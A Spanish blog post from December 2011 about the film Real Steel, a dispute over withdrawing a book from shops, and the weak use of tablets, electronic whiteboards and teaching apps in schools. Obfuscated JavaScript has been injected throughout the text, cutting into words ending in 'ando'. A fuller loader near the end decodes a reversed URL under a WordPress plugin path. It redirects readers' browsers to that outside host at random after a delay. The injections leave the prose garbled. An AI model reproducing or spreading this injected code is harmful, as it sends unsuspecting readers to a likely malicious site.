Skitergia

Parametrizando el mundo



Propositos para el nuevo año: cambiar algo, por ejemplo, la #educacion

by Skiter on 30 diciembre, 2011

Acabo de venir de ver la pelí­cula Real Steel (Acero Puro). Una pelí­cula bastante moñas, la verdad, pero que a todo público infantil por debajo de los 10 años parece haber encantado. A mi me ha recordado mucho a todas esas pelí­culas de mi infancia que me hacian salir del cine queriendo ser paleontólogo (Jurasic Park), arqueólogo (Indiana Jones), astronauta (Elegidos para la gloria) o incluso informático (Tron). Cosas de niños, ya se sabe, pero me harí­a mucha ilusión que algún niño haya salido con la semilla de la robótica plantada en su cabeza, aunque sospecho que será bastante improbable.

Hablandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando de otras cosas, esta semana hemos tenido por Facebook la misma discusión en varios muros, todo a raiz de la noticia de que un movimiento en Actuable exigia la retirada de un libro de las estanterias de El corte Ingles y La Casa del Libro. No menciono la temática porque me da igual (y de todas formas vereis en los enlaces) porque lo importante de la frase son las palabras exigir, retirar y libro. ¿Desde cuándo en una sociedad que se dice democrática y libre, se exige, en una socedad que se dice estar basada en el respeto, se retira, y sobre todo, como somos capaces de autodenominarnos civilizados queriendo borrar un libro del mapa?

Por otro lado, a lo largo de este año me he reunido con varios profesores de colegios e institutos y he asistido a sus clases para ver como utilizaban sus pizarras electrónicas o, sencillamente, internet en clase. También hemos adquirido en la empresa varios smartphones, tablets, ipads y eReaders para investigar que apps existen para el ambiente docente y por donde podemos ir planteandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando las nuevas ideas para 2012. El resultado ha sido bastante desastroso.

Las pizarras electrónicas se utilizan poco más que para proyectar un word,  un power point o unas fotos. Las aplicaciones docentes que existen son tan sosas y simples que a medida que se va ascendiendo en edad por primaria, van desapareciendo en cantidad, calidad y contenidos (de secundaria ya ni hablo: no hay casi nada). En tablets pasa más de lo mismo. Hay más juegos chorra y aplicaciones para calcular el peso ideal, que aplicaciones realmente didácticas. Y de lo poco que hay, pocas superan la temática y estructura que podria plasmarse en un word, un power point o una simple fotocopia.

Hoy en dí­a ya se pueden obtener tablets Android más que capaces por unos 120€. ¿¿Cuanto se gasta un padre cada curso en libros de texto y cuadernos?? Por favor!!!

Parece mentira que no haya habido más profesores y desarrolladores dispuestos a trabajar conjuntamente para crear algo más que gnomos y ranas que cantan tonterias cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el niño pone un cuadrado en el sitio correcto. Pero claro, eso cuesta esfuerzo y no está asegurado que venda :P.

Parece mentira que sigamos enseñandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando igual que cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando yo, mis padres o mis abuelos eran niño. Hoy en dí­a, que tenemos internet en las escuelas, que existe la wikipedia, que tenemos pantallas táctiles, acelerómetros, sensores de proximidad, conexiones bluetooth, audio, video, robots baratisimos, existe arduino o mil ejemplos mas, no tengamos una escuela ya donde podamos asegurarnos que nuestras generaciones venideras no solo nos van a superarnos, sino que van a ser capaces de garantizarnos un mundo mejor con toda seguridad. No hemos cambiado nada, e incluso vamos a peor.

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando+era+ni%C3%B1o.jpg" alt="" width="300" height="225" />

Por esa razón, eduquemos a los niños en casa, para que puedan ir a la escuela a que les enseñen, y la curiosidad les incite a ellos mismos a buscar más, a pensar, a crecer sabiendo. Piquémosles, démosles algo más que una muñeca chochona o una gorro de vaquero para jugar. Incitémosles a pensar, a conseguir retos por ellos mismos.

Asumamos que somos adultos, que se nos ha pasado el arroz y que no vamos a poder ir ya más allá de lo que nos permiten nuestras obtusas mentes ya encapsuladas en la vida diaria. Y una vez asumido, empleemos nuestra inferioridad respecto al potencial en bruto que tienen las futuras generaciones para ponerselo lo más facil posible. Dediquemos los empresarios nuestros esfuerzos no a vender más a mas borregos, sino a vender mejor material para el que lo compre. Dedicad los maestros más tiempo a enseñar pensandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, y menos a memorizar absurdos textos para el examen. Que los padres se preocupen menos de qué pelicula o juego de consola le ponen a sus niños para que dejen de dar la tabarra, y piensen más en salir a jugar, o hacer los deberes de mates con ellos. Desde el barrendero hasta el catedrático. Desde la dependienta hasta la premio nobel. Desde el obrero al director de cine.

 

Proposito para 2012: hagamos todos un esfuerzo y cambiemos algo.

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